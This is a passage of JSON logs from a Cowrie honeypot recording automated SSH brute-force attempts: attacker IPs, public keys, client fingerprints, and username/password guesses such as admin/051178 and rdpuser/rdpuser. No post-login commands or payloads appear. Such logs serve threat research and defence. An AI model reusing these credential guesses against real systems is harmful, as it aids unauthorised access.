{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:b4:87:73:66:47:6c:0c:0a:f7:4a:d6:4c:0c:e7:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmSlJ9FBx8bYquYsuzltjfVU4mmgvfTHw1gmROYwQXR8ntug/GHsNG5UbzO8rXPvIDrTCjkr0B76J40khhNiS9B8nEGJwbNVft/dhoHcM3+dWC2YDcODQQUYUPyml+TXvCmXPX7bovmuXEBgPR+aoHWmQtuGVSub/MaY0wcQrEMoOEYbZmxO7GG0Nq3534CbT6Ql1vwV/DVVxKcB3TA3We6dzOPlnwPS+4TuerBvutW7RlGPf8pBNpeu+42svIXF9lKJ/+OhuxucQxpF+NzN/LuT1UW/joGYRNp1EmrywwQ4wLx+UCdAxijMwYaeSUKHx/cZX700+aB4Lq7bf299N5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:b4:87:73:66:47:6c:0c:0a:f7:4a:d6:4c:0c:e7:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.392110Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:b4:87:73:66:47:6c:0c:0a:f7:4a:d6:4c:0c:e7:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmSlJ9FBx8bYquYsuzltjfVU4mmgvfTHw1gmROYwQXR8ntug/GHsNG5UbzO8rXPvIDrTCjkr0B76J40khhNiS9B8nEGJwbNVft/dhoHcM3+dWC2YDcODQQUYUPyml+TXvCmXPX7bovmuXEBgPR+aoHWmQtuGVSub/MaY0wcQrEMoOEYbZmxO7GG0Nq3534CbT6Ql1vwV/DVVxKcB3TA3We6dzOPlnwPS+4TuerBvutW7RlGPf8pBNpeu+42svIXF9lKJ/+OhuxucQxpF+NzN/LuT1UW/joGYRNp1EmrywwQ4wLx+UCdAxijMwYaeSUKHx/cZX700+aB4Lq7bf299N5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.395832Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wellness","password":"123456","message":"login attempt [wellness/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.454377Z","src_ip":"103.252.123.105","session":"14b4222eaf39","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:8f:ab:25:2a:61:32:55:84:e6:1a:c1:1a:85:93:3a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIONPgdGKzNf1ru/OyZ44XU1IePQoJfl3BPsytZR1WnLw","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 05:8f:ab:25:2a:61:32:55:84:e6:1a:c1:1a:85:93:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.477151Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:8f:ab:25:2a:61:32:55:84:e6:1a:c1:1a:85:93:3a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIONPgdGKzNf1ru/OyZ44XU1IePQoJfl3BPsytZR1WnLw","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.481465Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:f7:b2:39:ff:8a:00:0e:03:83:c5:d1:12:ef:29:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/8uUbfk99CAKVfBwWjV0ZDEPQc/brHfiTFWWiDOTwoqL+8SGVe21PsTinc8OJamfDB3qGv1g2MClVkGwOZ8w3gcpQQ8l+BFFmGvUXJcPLpd7Rsty20jkWd2i0MvdCQF4dFVRb33KpHqoVCuU0GvKjY/ODSM9o21RTcELGJawpEv57Wte2Ij907Wfg+rBB6IPxNEcv+MEahgrEo4O/Rq88fj9hpYmtL6U2ugL9V5M0Q7RrVa1YMzMP9mS9j2ZV8PArRlNQSh1NnZ9N2vmk5Ul84C48d+yIbMPhOgGWNsh3x5lCvAvD6YMb07YDxcy8yjVqmwWbgJ+Kv6K1zRhbC2Kn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:f7:b2:39:ff:8a:00:0e:03:83:c5:d1:12:ef:29:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.564379Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:f7:b2:39:ff:8a:00:0e:03:83:c5:d1:12:ef:29:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/8uUbfk99CAKVfBwWjV0ZDEPQc/brHfiTFWWiDOTwoqL+8SGVe21PsTinc8OJamfDB3qGv1g2MClVkGwOZ8w3gcpQQ8l+BFFmGvUXJcPLpd7Rsty20jkWd2i0MvdCQF4dFVRb33KpHqoVCuU0GvKjY/ODSM9o21RTcELGJawpEv57Wte2Ij907Wfg+rBB6IPxNEcv+MEahgrEo4O/Rq88fj9hpYmtL6U2ugL9V5M0Q7RrVa1YMzMP9mS9j2ZV8PArRlNQSh1NnZ9N2vmk5Ul84C48d+yIbMPhOgGWNsh3x5lCvAvD6YMb07YDxcy8yjVqmwWbgJ+Kv6K1zRhbC2Kn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.567953Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.649382Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34352,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fde0ffe1325","protocol":"ssh","message":"New connection: 45.156.87.147:34352 (10.17.0.5:22) [session: 3fde0ffe1325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:17.209548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:17.214233Z","src_ip":"45.156.87.147","session":"3fde0ffe1325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:17.296284Z","src_ip":"45.156.87.147","session":"3fde0ffe1325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1234","message":"login attempt [claude/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:17.555895Z","src_ip":"45.156.87.147","session":"3fde0ffe1325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:17.682935Z","src_ip":"103.252.123.105","session":"14b4222eaf39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44650,"dst_ip":"10.17.0.5","dst_port":22,"session":"55d1a53af55a","protocol":"ssh","message":"New connection: 91.92.42.227:44650 (10.17.0.5:22) [session: 55d1a53af55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:17.991178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:18.009597Z","src_ip":"91.92.42.227","session":"55d1a53af55a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:18.093200Z","src_ip":"91.92.42.227","session":"55d1a53af55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123","message":"login attempt [ts3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:18.542978Z","src_ip":"91.92.42.227","session":"55d1a53af55a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:18.641535Z","src_ip":"45.156.87.147","session":"3fde0ffe1325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:19.852033Z","src_ip":"91.92.42.227","session":"55d1a53af55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45806,"dst_ip":"10.17.0.5","dst_port":22,"session":"de95a60be946","protocol":"ssh","message":"New connection: 45.156.87.147:45806 (10.17.0.5:22) [session: de95a60be946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:22.097360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:22.101200Z","src_ip":"45.156.87.147","session":"de95a60be946","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:22.182858Z","src_ip":"45.156.87.147","session":"de95a60be946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:22.593836Z","src_ip":"45.156.87.147","session":"de95a60be946","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:23.678437Z","src_ip":"45.156.87.147","session":"de95a60be946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54906,"dst_ip":"10.17.0.5","dst_port":22,"session":"eba902a6cedd","protocol":"ssh","message":"New connection: 91.92.42.227:54906 (10.17.0.5:22) [session: eba902a6cedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:24.927032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:25.000669Z","src_ip":"91.92.42.227","session":"eba902a6cedd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:25.062009Z","src_ip":"91.92.42.227","session":"eba902a6cedd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:25.453389Z","src_ip":"91.92.42.227","session":"eba902a6cedd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":58584,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f129687967","protocol":"telnet","message":"New connection: 172.104.93.159:58584 (159.203.135.109:23) [session: 07f129687967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:25.495825Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:26.586146Z","src_ip":"91.92.42.227","session":"eba902a6cedd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45822,"dst_ip":"10.17.0.5","dst_port":22,"session":"b07a3bf941ae","protocol":"ssh","message":"New connection: 45.156.87.147:45822 (10.17.0.5:22) [session: b07a3bf941ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:27.171890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:27.233055Z","src_ip":"45.156.87.147","session":"b07a3bf941ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:27.259534Z","src_ip":"45.156.87.147","session":"b07a3bf941ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051178","message":"login attempt [admin/051178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:27.584447Z","src_ip":"45.156.87.147","session":"b07a3bf941ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:28.672684Z","src_ip":"45.156.87.147","session":"b07a3bf941ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54936,"dst_ip":"10.17.0.5","dst_port":22,"session":"c840fd89a486","protocol":"ssh","message":"New connection: 91.92.42.227:54936 (10.17.0.5:22) [session: c840fd89a486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:31.156671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:31.428399Z","src_ip":"91.92.42.227","session":"c840fd89a486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:31.431918Z","src_ip":"91.92.42.227","session":"c840fd89a486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55006,"dst_ip":"10.17.0.5","dst_port":22,"session":"78681ec183b5","protocol":"ssh","message":"New connection: 45.156.87.147:55006 (10.17.0.5:22) [session: 78681ec183b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:32.083671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:32.111025Z","src_ip":"45.156.87.147","session":"78681ec183b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-